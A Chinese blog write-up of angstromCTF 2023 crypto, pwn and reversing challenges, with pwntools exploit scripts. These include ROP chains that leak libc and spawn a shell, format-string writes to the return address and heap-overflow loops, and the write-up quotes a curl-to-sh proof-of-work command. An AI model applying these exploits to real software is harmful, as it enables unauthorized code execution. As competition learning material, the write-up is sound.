当前位置: 首页 > news >正文

[angstromctf 2023] 部分

这个比赛打了个开头就放弃了,最近放弃的比较多,国外的网太慢,国内的题太难。

Crypto

ranch

这题直接给出密文这提示

rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}

Caesar dressing is so 44 BC...

然后是加密程序:未知偏移

import stringf = open("flag.txt").read()encrypted = ""shift = int(open("secret_shift.txt").read().strip())for i in f:if i in string.ascii_lowercase:encrypted += chr(((ord(i) - 97 + shift) % 26)+97)else:encrypted += iprint(encrypted)

 bugku上caser可以枚举

actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}

impossible

这题啊!!!这个代码没看大明白,这两个函数出来是全是1,然后交集还是1,然后是最下边的判断,感觉是通不通,可前边有个提示:

Supply positive x and y such that x < y and x > y. 

只要满足这个就行,问了网友,python还真有这个问题,python的数字是变长的,当一个是整形一个是对象的时候,比较类型强制变换时就有这个问题。 

#!/usr/local/bin/pythondef fake_psi(a, b):return [i for i in a if i in b]def zero_encoding(x, n):ret = []for i in range(n):if (x & 1) == 0:ret.append(x | 1)x >>= 1return retdef one_encoding(x, n):ret = []for i in range(n):if x & 1:ret.append(x)x >>= 1return retprint("Supply positive x and y such that x < y and x > y.")
x = int(input("x: "))
y = int(input("y: "))if len(fake_psi(one_encoding(x, 64), zero_encoding(y, 64))) == 0 and x > y and x > 0 and y > 0:print(open("flag.txt").read())

然后按他说的办就OK了,高手,还知道这个

┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 32200
Supply positive x and y such that x < y and x > y.
x: 11111111111111111111111111111111111111111111111111111111111
y: 1
actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}

 Lazy Lagrange

先看原题

N = len(FLAG)
assert N <= 18, 'I\'m too lazy to store a flag that long.'
p = None
a = None
M = (1 << 127) - 1def query1(s):if len(s) > 100:return 'I\'m too lazy to read a query that long.'x = s.split()if len(x) > 10:return 'I\'m too lazy to process that many inputs.'if any(not x_i.isdecimal() for x_i in x):return 'I\'m too lazy to decipher strange inputs.'x = (int(x_i) for x_i in x)global p, ap = random.sample(range(N), k=N)a = [ord(FLAG[p[i]]) for i in range(N)]res = ''for x_i in x:res += f'{sum(a[j] * x_i ** j for j in range(N)) % M}\n'return resquery1('0')def query2(s):if len(s) > 100:return 'I\'m too lazy to read a query that long.'x = s.split()if any(not x_i.isdecimal() for x_i in x):return 'I\'m too lazy to decipher strange inputs.'x = [int(x_i) for x_i in x]while len(x) < N:x.append(0)z = 1for i in range(N):z *= not x[i] - a[i]return ' '.join(str(p_i * z) for p_i in p)while True:try:choice = int(input(": "))assert 1 <= choice <= 2match choice:case 1:print(query1(input("\t> ")))case 2:print(query2(input("\t> ")))except Exception as e:print("Bad input, exiting", e)break

题目分两部分,第一部分要求输入一个序列x,然后会把flag打乱后逐位与x^j 相乘然后加到一起返回。

这步由于有长度限制,把返回当成128进制(7位)输入128,然后返7位ASCII码解开就恢复了

第二步要求输入序列与原打乱的flag相同就会返回打乱的序号。第1步恢复以后第二步得到顺序就OK了

from pwn import *p = remote('challs.actf.co', 32100)
context.log_level = 'debug'p.sendlineafter(b': ', b'1')
p.sendlineafter(b'> ', b'128')
a = int(p.recvline())
a = bin(a)[2:].rjust(126,'0')
b = [int(a[i:i+7],2) for i in range(0, 126,7)]
b = bytes(b)[::-1]
p.sendlineafter(b': ', b'2')
p.sendlineafter(b'> ', (' '.join([str(i) for i in b])+' ').encode())
odr = [int(i) for i in p.recvline().decode().strip().split()]
a = [0]*18
for i in range(18):a[odr[i]]=b[i]print(bytes(a))

Royal Society of Arts

这是个RSA的题给了(p-1)(q-2)和(p-2)(q-1)这个简单了,可以自己推也可以直接写式子让程序算

自己算也简单这两个一减就有p+q了,然后直接求就行

from Crypto.Util.number import getStrongPrime, bytes_to_long
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
print("(p-2)*(q-1) =", (p-2)*(q-1))
print("(p-1)*(q-2) =", (p-1)*(q-2))

无难度

n = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230158509195522123739130077725744091649212709410268449632822394998403777113982287135909401792915941770405800840172214125677106752311001755849804716850482011237
e = 65537
c = 40544832072726879770661606103417010618988078158535064967318135325645800905492733782556836821807067038917156891878646364780739241157067824416245546374568847937204678288252116089080688173934638564031950544806463980467254757125934359394683198190255474629179266277601987023393543376811412693043039558487983367289
#(p-2)*(q-1) 
h1 = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230125943565148141498300205893475242956903188936949934637477735897301870046234768439825644866543391610507164360506843171701976641285249754264159339017466738250
#(p-1)*(q-2)
h2 = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230123577760657520479879758538312798938234126141096433998438004751495264208294710150161381066757910797946636886901614307738041629014360829994204066455759806614#p-q 
h3 = h1-h2 
p,q = var('p q')
solve([p*q == n, p-q ==h3],[p,q])p = 12432413118408092556922180864578909882548688341838757808040464238372914542545091804094841981170595006563808958609560634333378522509950041851974318809712087
q = 10066608627787074136474825702134891213485892488338118768309318431767076602486802139831042195689782446036335353380696670398366251621025771896701757102780451
d = inverse_mod(e, (p-1)*(q-1))
m = pow(c,d,n)
long_to_bytes(int(m))
#actf{tw0_equ4ti0ns_in_tw0_unkn0wns_d62507431b7e7087}

Royal Society of Arts 2

国外好像对RSA不大关心,所以经常出简单题,这个给了密文,然后让随便输入然后给出解密,显然这里直接c*2^e就行,提到的明文//2

from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)d = pow(e, -1, (p-1)*(q-1))c = int(input("Text to decrypt: "))if c == m or b"actf{" in long_to_bytes(pow(c, d, n)):print("No flag for you!")exit(1)print("m =", pow(c, d, n))
from pwn import *p = remote('challs.actf.co', 32400)context.log_level = 'debug'n = int(p.recvline()[4:])
e = int(p.recvline()[4:])
c = int(p.recvline()[4:])p.sendlineafter(b'Text to decrypt: ', str(pow(2,e,n)*c%n).encode())
m = int(p.recvline()[4:])
print(bytes.fromhex(hex(m>>1)[2:]))#actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}

后边的就突然变难了,不会了

pwn

queue

题目先把flag读到栈里,然后有格式化字符串漏洞,可以直接打印,只是没有地址用不了找针,按ll打出来再自己组合。

int __cdecl main(int argc, const char **argv, const char **envp)
{__gid_t rgid; // [rsp+4h] [rbp-CCh]FILE *stream; // [rsp+8h] [rbp-C8h]char format[48]; // [rsp+10h] [rbp-C0h] BYREFchar s[136]; // [rsp+40h] [rbp-90h] BYREFunsigned __int64 v9; // [rsp+C8h] [rbp-8h]v9 = __readfsqword(0x28u);setbuf(_bss_start, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);stream = fopen("flag.txt", "r");if ( !stream ){puts("Error: missing flag.txt.");exit(1);}fgets(s, 128, stream);printf("What did you learn in class today? ");fgets(format, 48, stdin);printf("Oh nice, ");printf(format);printf("sounds pretty cool!");return v9 - __readfsqword(0x28u);
}

┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 31322
What did you learn in class today? %14$p%15$p%16$p%17$p%18$p%19$p
Oh nice, 0x3474737b667463610x75715f74695f6b630x615f74695f6575650x34373964613931360x7d32326234363863(nil)
sounds pretty cool!                                                                                                                                                                                                                          
%14$p%15$p%16$p%17$p%18$p%19$p
a =[0x3474737b66746361,0x75715f74695f6b63,0x615f74695f657565,0x3437396461393136,0x7d32326234363863]
>>> b''.join([p64(i) for i in a])
b'actf{st4ck_it_queue_it_a619ad974c864b22}'
 

gaga

这题给了3个远端,还以为都一样,原来每个只有一部分。

第1个给了地址和后门,直接溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{char v4[60]; // [rsp+0h] [rbp-40h] BYREF__gid_t rgid; // [rsp+3Ch] [rbp-4h]setbuf(_bss_start, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);puts("Welcome to gaga!");puts("This challenge is meant to guide you through an introduction to binary exploitation.");printf("\nRight now, you are on stage0. Your goal is to redirect program control to win0, which is at address %p.\n",win0);printf("Your input: ");return gets(v4);
}

第2个的后门带了两个参数

void __fastcall win1(int a1, int a2)
{char s[136]; // [rsp+10h] [rbp-90h] BYREFFILE *stream; // [rsp+98h] [rbp-8h]if ( a1 == 4919 || a2 == 16705 ){stream = fopen("flag.txt", "r");if ( !stream ){puts("Error: missing flag.txt.");exit(1);}fgets(s, 128, stream);puts(s);}
}

第3个就直接溢出没有后门了,其实可以直接写第3个的程序,一次跑3个(地址有点区别)

from pwn import *p = remote('challs.actf.co', 31302)
#p = process('./gaga2')
context(arch='amd64',log_level = 'debug')#gdb.attach(p, 'b*0x401248')elf = ELF('./gaga2')
pop_rdi = 0x00000000004012b3 # pop rdi ; ret
pop_rsi = 0x00000000004012b1 # pop rsi ; pop r15 ; ret
p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(0x404800, pop_rdi, elf.got['setbuf'], elf.plt['puts'], elf.sym['main']))
#p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(pop_rdi+1,pop_rdi+1, pop_rdi, 4919, pop_rsi, 16705,0, elf.sym['win1']))#p.recvline()
libc_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x8bad0
bin_sh = libc_addr + 0x1b45bd
system = libc_addr + 0x52290p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(0x404800, pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['main']))p.interactive()#actf{b4by's_
#actf{b4by's_f1rst_pwn!_
#actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}

leek

输入的堆块在密码前,写溢出覆盖即可

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxint i; // [rsp+0h] [rbp-50h]int j; // [rsp+4h] [rbp-4Ch]__gid_t rgid; // [rsp+8h] [rbp-48h]char *v9; // [rsp+10h] [rbp-40h]void *s; // [rsp+18h] [rbp-38h]char s2[40]; // [rsp+20h] [rbp-30h] BYREFunsigned __int64 v12; // [rsp+48h] [rbp-8h]v12 = __readfsqword(0x28u);v3 = time(0LL);srand(v3);setbuf(stdout, 0LL);setbuf(stdin, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);puts("I dare you to leek my secret.");for ( i = 0; i < N; ++i ){v9 = (char *)malloc(0x10uLL);s = malloc(0x20uLL);memset(s, 0, 0x20uLL);getrandom(s, 32LL, 0LL);for ( j = 0; j <= 31; ++j ){if ( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == 10 )*((_BYTE *)s + j) = 1;}printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");input(v9);                                  // 最长1280printf(":skull::skull::skull: bro really said: ");puts(v9);printf("So? What's my secret? ");fgets(s2, 33, stdin);if ( strncmp((const char *)s, s2, 0x20uLL) ){puts("Wrong!");exit(-1);}puts("Okay, I'll give you a reward for guessing it.");printf("Say what you want: ");gets(v9);puts("Hmm... I changed my mind.");free(s);free(v9);puts("Next round!");}puts("Looks like you made it through.");win();return v12 - __readfsqword(0x28u);
}

不地要执行100次,外国网站有点慢,只能把串都根据长度连一起发,不然就超时了,sla很费时。

from pwn import *p = remote('challs.actf.co', 31310)for i in range(0x64):p.sendline(b'A'*(0x40-1))p.sendline(b'A'*(0x20-1))p.sendline(b'A'*0x18 + p64(0x31))print(i)context(arch='amd64',log_level = 'debug')p.recvline()    
p.interactive()

widget

格式化字符串漏洞同时有溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+Ch] [rbp-24h] BYREFchar buf[24]; // [rsp+10h] [rbp-20h] BYREF__gid_t rgid; // [rsp+28h] [rbp-8h]unsigned int i; // [rsp+2Ch] [rbp-4h]setbuf(_bss_start, 0LL);setbuf(stdin, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);if ( called )exit(1);called = 1;printf("Amount: ");v4 = 0;__isoc99_scanf("%d", &v4);getchar();if ( v4 < 0 )                       //没限制多大exit(1);printf("Contents: ");read(0, buf, v4);for ( i = 0; (int)i < v4; ++i ){if ( buf[i] == 110 ){printf("bad %d\n", i);exit(1);}}printf("Your input: ");return printf(buf);
}

用了一个我第一次见的工作量proof   redpwnpow

from pwn import *def proof():p.recvuntil(b'proof of work: curl -sSfL https://pwn.red/pow | sh -s ')work = p.recvline().decode().strip()r = process(['./redpwnpow-linux-amd64', work])p.sendafter(b'solution: ', r.recvline())r.close()#p = process('./widget')
p = remote('challs.actf.co', 31320)context(arch='amd64', log_level='debug')
elf = ELF('./widget')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')proof()
#gdb.attach(p, 'b*0x4014c5')p.sendlineafter(b"Amount: ", b'256')
p.sendlineafter(b"Contents: ", b'%33$p,%34$p,'.ljust(0x20, b'\x00')+flat(0x404800, 0x4013d9))
p.recvuntil(b"Your input: ")
libc.address = int(p.recvuntil(b',', drop=True),16) - 128 - libc.sym['__libc_start_main'] #0x29d90
stack_addr   = int(p.recvuntil(b',', drop=True),16) - 0x128print('libc:',hex(libc.address), 'stack,rbp:', hex(stack_addr))pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))p.sendlineafter(b"Amount: ", b'256')
p.sendlineafter(b"Contents: ", b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'] ))p.interactive()
#actf{y0u_f0und_a_usefu1_widg3t!_30db5c45a07ac981}

slack

又一个格式化字符串漏洞,只是可输入非常短,不足以干大活,只能一个字节一个字节的写,由于有次数限制需要先改下

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxint v4; // eaxint i; // [rsp+8h] [rbp-68h]__gid_t rgid; // [rsp+Ch] [rbp-64h]time_t timer; // [rsp+10h] [rbp-60h] BYREFstruct tm *tp; // [rsp+18h] [rbp-58h]char s[32]; // [rsp+20h] [rbp-50h] BYREFchar format[40]; // [rsp+40h] [rbp-30h] BYREFunsigned __int64 v13; // [rsp+68h] [rbp-8h]v13 = __readfsqword(0x28u);setbuf(_bss_start, 0LL);setbuf(stdin, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);puts("Welcome to slack (not to be confused with the popular chat service Slack)!");timer = time(0LL);tp = localtime(&timer);v3 = time(0LL);srand(v3);for ( i = 0; i <= 2; ++i )                    //需要先改小{strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);v4 = rand();printf("%s -- slack Bot:  %s\n", s, (&messages)[v4 % 8]);printf("Your message (to increase character limit, pay $99 to upgrade to Professional): ");fgets(format, 14, stdin);                   // 13字节太小tp = localtime(&timer);strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);printf("%s -- You: ", s);printf(format);putchar(10);}return v13 - __readfsqword(0x28u);
}

先泄露libc,stack,然后利用指向argv的栈地址链指向计数器高字节改为负数,修改后再指向返回地址写payload 

from pwn import *#p = process('./slack')
p = remote('challs.actf.co', 31500)context(arch='amd64', log_level = 'debug')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')def snd(pay):#p.sendafter(b'Professional): ', pay.encode())p.send(pay.encode())#leak stack,libc
snd('%25$p,%41$p,\n')
p.recvuntil(b"You: ")
i_addr = int(p.recvuntil(b',', drop=True), 16) - 0x180
libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
print(hex(i_addr), hex(libc.address))#28->55->155  28->55->i
snd(f'%{(i_addr&0xffff)+3}c%25$hn\n')
#set i = -...
snd(f'%255c%55$hhn\n')ret_addr = i_addr + 0x70
if i_addr&0xff00 == ret_addr &0xff00:snd(f"%{ret_addr&0xff}c%25$hhn\n")
else:snd(f"%{ret_addr&0xffff}c%25$hn\n")pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh  = next(libc.search(b'/bin/sh\x00'))
payload = flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'])
for i in range(len(payload)):v1 = (ret_addr+i)&0xffif v1==0:snd(f"%25$hhn\n")else:snd(f"%{v1}c%25$hhn\n")v2 = payload[i]if v2==0:snd(f"%55$hhn\n")else:snd(f"%{v2}c%55$hhn\n")#25->55->i_addr+3 set i>0
if i_addr&0xff00 == ret_addr &0xff00:snd(f"%{(i_addr+3)&0xff}c%25$hhn\n")
else:snd(f"%{(i_addr+3)&0xffff}c%25$hn\n")snd(f"%55$hhn\n")p.sendline(b'cat flag.txt')
p.interactive()
#actf{succesfu1_onb0arding_f99454d9a2f42632}

后边两个难的也没作,国外网站太慢,慢着慢着就放弃了。

RE

checker 略

zaza

一个异或运算

int __cdecl main(int argc, const char **argv, const char **envp)
{int v5; // [rsp+8h] [rbp-58h] BYREFunsigned int v6; // [rsp+Ch] [rbp-54h] BYREFchar s[72]; // [rsp+10h] [rbp-50h] BYREFunsigned __int64 v8; // [rsp+58h] [rbp-8h]v8 = __readfsqword(0x28u);setbuf(_bss_start, 0LL);v5 = 0;v6 = 0;printf("I'm going to sleep. Count me some sheep: ");__isoc99_scanf("%d", &v5);if ( v5 != 4919 )                             // 4919{puts("That's not enough sheep!");exit(1);}printf("Nice, now reset it. Bet you can't: ");__isoc99_scanf("%d", &v6);                    //  1011094151if ( v5 * v6 == 1 ){printf("%d %d", v6, v6 + v5);puts("Not good enough for me.");exit(1);}puts("Okay, what's the magic word?");getchar();fgets(s, 64, stdin);s[strcspn(s, "\n")] = 0;xor_(s);if ( strncmp(s, "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#", 0x32uLL) ){puts("Nope");exit(1);}win();return v8 - __readfsqword(0x28u);
}

┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 32760
I'm going to sleep. Count me some sheep: 4919
Nice, now reset it. Bet you can't: 0
Okay, what's the magic word?
SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP
actf{g00dnight_c7822fb3af92b949}

时间有点长,都快忘了。赶紧补上。 

相关文章:

[angstromctf 2023] 部分

这个比赛打了个开头就放弃了&#xff0c;最近放弃的比较多&#xff0c;国外的网太慢&#xff0c;国内的题太难。 Crypto ranch 这题直接给出密文这提示 rtkw{cf0bj_czbv_nvcc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831} Caesar dressing is so 44 BC... 然后是加密程序…...

死信队列

死信队列 死信的概念 先从概念解释上搞清楚这个定义&#xff0c;死信&#xff0c;顾名思义就是无法被消费的消息&#xff0c;字面意思可以这样理解&#xff0c;一般来说&#xff0c;producer 将消息投递到 broker 或者直接到queue 里了&#xff0c;consumer 从 queue 取出消息…...

基于YOLOv5的目标检测系统详解(附MATLAB GUI版代码)

摘要&#xff1a;本文重点介绍了基于YOLOv5目标检测系统的MATLAB实现&#xff0c;用于智能检测物体种类并记录和保存结果&#xff0c;对各种物体检测结果可视化&#xff0c;提高目标识别的便捷性和准确性。本文详细阐述了目标检测系统的原理&#xff0c;并给出MATLAB的实现代码…...

使用ChatGPT工具阅读文献的实战教程

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法…...

实训笔记1

实训笔记 第一天 1.安装tomcat或者其他大数据开发的路径不含中文及空格 2.和同开发 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FoApp1oX-1683039421826)(C:\Users\18249\AppData\Roaming\Typora\typora-user-images\image-20230422110823748…...

CCD视觉检测设备如何选择光源

CCD视觉检测设备的机器视觉系统对光源的要求很高&#xff0c;光源是决定图像质量的一个重要因素。那么&#xff0c;我们就来看看CCD图像加网设备和机器视觉系统光源的选择点——CCD图像加网设备。 CCD视觉检测设备机器视觉系统光源选择要点&#xff1a; 1. 对比度&#xff1a;…...

基于协同过滤的旅游推荐系统设计与实现(论文+源码)_kaic

1 绪论 1.1 研究背景及意义 1.2 国内外研究现状 1.3 研究目标与意义 1.4 主要研究工作 2 相关理论介绍 2.1HTML与JavaScript 2.2 MySQL数据库 2.3 协同过滤算法简介 3 系统分析与设计 3.1 系统需求分析 3.1.1 功能性需求 3.1.2 安全性需求 3.2 系统总体架构 3.3 功能模块设计 3…...

代码随想录补打卡 746 使用最小花费爬楼梯

代码如下 func minCostClimbingStairs(cost []int) int { dp : make([]int,len(cost)1) //思路&#xff1a;设置一个花费数组dp&#xff0c;dp数组的长度等于之前的cost在加上1&#xff08;1为楼顶元素&#xff09; dp[0] 0 dp[1] 0 for i : 2 ; i < len(c…...

有理函数的不定积分习题

前置知识&#xff1a;有理函数的不定积分 习题 计算 ∫ x 3 1 x 4 − 3 x 3 3 x 2 − x d x \int \dfrac{x^31}{x^4-3x^33x^2-x}dx ∫x4−3x33x2−xx31​dx 解&#xff1a; \qquad 将被积函数的分母因式分解得 x 4 − 3 x 3 3 x 2 − x x ( x − 1 ) 3 x^4-3x^33x^2-xx…...

PS滤镜插件-Nik Collection介绍

PS滤镜插件-Nik Collection介绍 什么是Nik CollectionNik Collection都包含什么&#xff1f; 什么是Nik Collection Nik Collection是一款PS滤镜插件套装&#xff0c;其包含了八款PS插件&#xff0c;功能涵盖修图、调色、降噪、胶片滤镜等方面。Nik Collection 作为很多摄影师…...

力扣刷题2023-05-04-1——题目:2614. 对角线上的质数

题目&#xff1a; 给你一个下标从 0 开始的二维整数数组 nums 。 返回位于 nums 至少一条 对角线 上的最大 质数 。如果任一对角线上均不存在质数&#xff0c;返回 0 。 注意&#xff1a; 如果某个整数大于 1 &#xff0c;且不存在除 1 和自身之外的正整数因子&#xff0c;…...

【Java笔试强训 2】

&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳,欢迎大佬指点! 欢迎志同道合的朋友一起加油喔&#x1f93a;&#x1f93a;&#x1f93a; 目录 一、选择题 二、编程题 &#x1f525;排序子…...

术数基础背诵口诀整理

物象对应 五行方位天干神兽季节气候星宿生成数脏器木东甲乙青龙春风岁八肝火南丙丁朱雀夏热荧惑七心土中戊己&#xff1f;长夏湿镇五脾金西庚辛白虎秋燥太白九肺水北壬癸玄武冬寒辰六肾 口诀&#xff1a;东方甲乙青龙木&#xff0c;南方丙丁朱雀火&#xff0c;戊己勾陈腾蛇土&…...

Linux 基础语法 -2

如果我们以后再Linux当中 写了一些命名&#xff0c;导致程序我们不能进行操作了&#xff0c;如这个死循环&#xff1a; 他就会一直输出 "hello Linux" &#xff0c;我们就使用 ctrl c 来终止因为程序或者指令异常&#xff0c;而导致我们无法进行指令输入&#xff…...

深度学习框架发展趋势

深度学习方法的发展是推动深度学习框架进步的最大动力&#xff0c;因此深度学习框架的功能和设计应顺应 算法和模型的发展趋势&#xff1a; 第一&#xff0c;易用性。深度学习领域仍处于快速发展期&#xff0c;参与者和学习者不断增加&#xff0c;新模型大量提出。因 此&#…...

Mysql为json字段创建索引的两种方式

目录 一、前言二、通过虚拟列添加索引&#xff08;Secondary Indexes and Generated Columns&#xff09;三、多值索引&#xff08;Using multi-valued Indexes&#xff09;四、官网地址 一、前言 JSON 数据类型是在mysql5.7版本后新增的&#xff0c;同 TEXT&#xff0c;BLOB …...

cassandra数据库入门-4

插入数据 在表中创建数据 您可以使用命令 INSERT 将数据插入表中一行的列中。 下面给出了在表中创建数据的语法。 INSERT INTO <tablename> (<column1 name>, <column2 name>....) VALUES (<value1>, <value2>....) USING <option> 例子…...

微服务学习——分布式搜索

初识elasticsearch 什么是elasticsearch elasticsearch是一款非常强大的开源搜索引擎&#xff0c;可以帮助我们从海量数据中快速找到需要的内容。 elasticsearch结合kibana、Logstash、Beats&#xff0c;也就是elastic stack(ELK)。被广泛应用在日志数据分析、实时监控等领域…...

ChatGPT根据销售数据、客户反馈、财务报告,自动生成报告,并根据不同利益方的需要和偏好进行调整?

该场景对应的关键词库&#xff08;24个&#xff09;&#xff1a; 汇报对象身份&#xff08;下属、跨部门平级、领导&#xff09;、销售数据&#xff08;销售额、销售量、销售渠道&#xff09;、财务报告&#xff08;营业收入、净利润、成本费用&#xff09;、市场分析&#xf…...

Flask开发之环境搭建

目录 1、安装flask 2、创建Flask工程 ​编辑 3、初始化效果 4、运行效果 5、设置Debug模式 6、设置Host 7、设置Port 8、在app.config中添加配置 1、安装flask 如果电脑上从没有安装过flask&#xff0c;则在命令行界面输入以下命令&#xff1a; pip install flask 如果电…...

Java集合框架与ArrayList、LinkedList的区别

文章目录 Java集合框架与ArrayList、LinkedList的区别集合框架ArrayList特点操作 LinkedList特点操作 区别代码实践注意事项 Java集合框架与ArrayList、LinkedList的区别 在Java中&#xff0c;集合框架是非常重要的一部分。集合框架提供了各种数据结构和算法&#xff0c;可以方…...

python-pandas库

目录 目录 目录 1.pandas库简介&#xff08;https://www.gairuo.com/p/pandas-overview&#xff09; 2.pandas库read_csv方法&#xff08;https://zhuanlan.zhihu.com/p/340441922?utm_mediumsocial&utm_oi27819925045248&#xff09; 1.pandas库简介&#xff08;http…...

C++学习day--01 C生万物

1、C/C学习中遇到的问题&#xff1a; 1. 大部分初学者&#xff0c;学习 C/C 都是从入门到放弃。 C/C太难吗&#xff1f; 2. 90% 以上的初学者&#xff0c;学完 C/C 以后&#xff0c;考试完了&#xff0c;书看完了&#xff0c; 但还是不会做项目 是学的不够好吗&#xff1…...

链表及链表的常见操作和用js封装一个链表

最近在学数据结构和算法&#xff0c;正好将学习的东西记录下来&#xff0c;我是跟着一个b站博主学习的&#xff0c;是使用js来进行讲解的&#xff0c;待会也会在文章后面附上视频链接地址&#xff0c;大家想学习的可以去看看 本文主要讲解单向链表&#xff0c;双向链表后续也会…...

源码安装工具checkinstall使用

每当从源码包编译程序时&#xff0c;安装过程很愉快&#xff0c;但当你想删除时&#xff0c;就很费脑筋了&#xff0c;你可能要去找你当时编译的目录执行make unistall&#xff0c;当然更可能的是&#xff0c;你早就把源码包给删除了&#xff0c;对于强迫症来说&#xff0c;这显…...

离散数学集合论

集合论 主要内容 集合基本概念 属于、包含幂集、空集文氏图等 集合的基本运算 并、交、补、差等 集合恒等式 集合运算的算律&#xff0c;恒等式的证明方法 集合的基本概念 集合的定义 集合没有明确的数学定义 理解&#xff1a;由离散个体构成的整体称为集合&#xff0c…...

TypeScript 基础

类型注解 类型注解&#xff1a;约束变量的类型 示例代码: let age&#xff1a;number 18 说明&#xff1a;代码中的 :number 就是类型注解 解释&#xff1a;约定了类型&#xff0c;就只能给变量赋值该类型的值&#xff0c;否则&#xff0c;就会报错 错误演示&#xff1a;…...

MySQL InnoDB引擎 和 Oracle SGA

MySQL InnoDB引擎和Oracle SGA有以下异同&#xff1a; 异同点&#xff1a; 两者都是用来管理数据存储和访问的。 它们都可以通过调整参数来优化性能。 它们都支持事务处理和ACID属性。 它们都可以通过备份和恢复来保护数据。 异点&#xff1a; MySQL InnoDB引擎是一种存储…...

JAVA开发与运维(web生产环境部署)

web生产环境部署&#xff0c;往往是分布式&#xff0c;和开发环境或者测试环境我们一般使用单机不同。 一、部署内容 1、后端服务 2、后台管理系统vue 3、小程序 二、所需要服务器 5台前端服务器 8台后端服务 三、所需要的第三方组件 redismysqlclbOSSCDNWAFRocketMQ…...

普通人,自学编程,5个必备步骤

天给大家分享个干货哈 普通人自学编程 想学成找到一份工作甚至进大厂 非常有效且必备的5个步骤 文章最后 还给大家提供了一些免费的学习资料 记得提前收藏起来 相信很多人在最开始学编程的时候 上来就是去网上找一套视频 或者买一本书直接开干 这种简单粗暴的方法其实是不对的 …...

企业网站策划/网站推广与优化平台

https://www.lydsy.com/JudgeOnline/problem.php?id2901 挺好玩的一道线性代数题 让我这个没学过线性代数的人 更加理解了矩阵乘法 我感觉是测评机今天晚上有点问题 代码应该不能再优化了 已经相当完美了 代码&#xff1a; #include<bits/stdc.h> using namespace std; …...

品牌网站建设定位/网络营销产品策略

文章目录一.基本介绍二.编写HelloWorld项目目录代码编译执行执行流程三.包,变量和函数1.包2.导入3.导出名4.函数5.命名返回值6.变量7.基本类型8.基本数据类型和String的转换8.1 基本类型8.2 转换9.零值10.类型转换11.类型推导12.常量13.数值常量14.值类型和引用类型14.1 值类型…...

北京出名做网站的公司/东莞网站制作

1.概率图模型简介&#xff1a; 概率图模型是图灵奖获得者Pearl开发出来的用图来表示变量概率依赖关系的理论。概率图模型理论分为概率图模型表示理论&#xff0c;概率图模型推理理论和概率图模型学习理论。 概率图理论共分为三个部分&#xff0c;分别为概率图模型表示理论&…...

用闲置的安卓手机做网站/爱用建站

xcopy 文件夹name %date:~0,4%%date:~5,2%%date:~8,2% /D:05-23-2017 /S /R /Y PAUSE 日期和文件夹名字修改好&#xff0c; 放在当前文件夹下&#xff0c;按D转载于:https://www.cnblogs.com/beimingbingpo/p/6892803.html...

简单做网站用什么软件/谷歌seo优化排名

4.1~4.2节 R1.数据报&#xff0c;交换机基于链路层&#xff0c;路由器基于网络层。 R2.维护、更新转发状态信息。虚电路建立&#xff0c;数据传送&#xff0c;虚电路拆除。 R3. 转发是指将分组从一个输入链路接口转移到合适的输出链路端口的路由本地动作。 路由选择是指网络范围…...

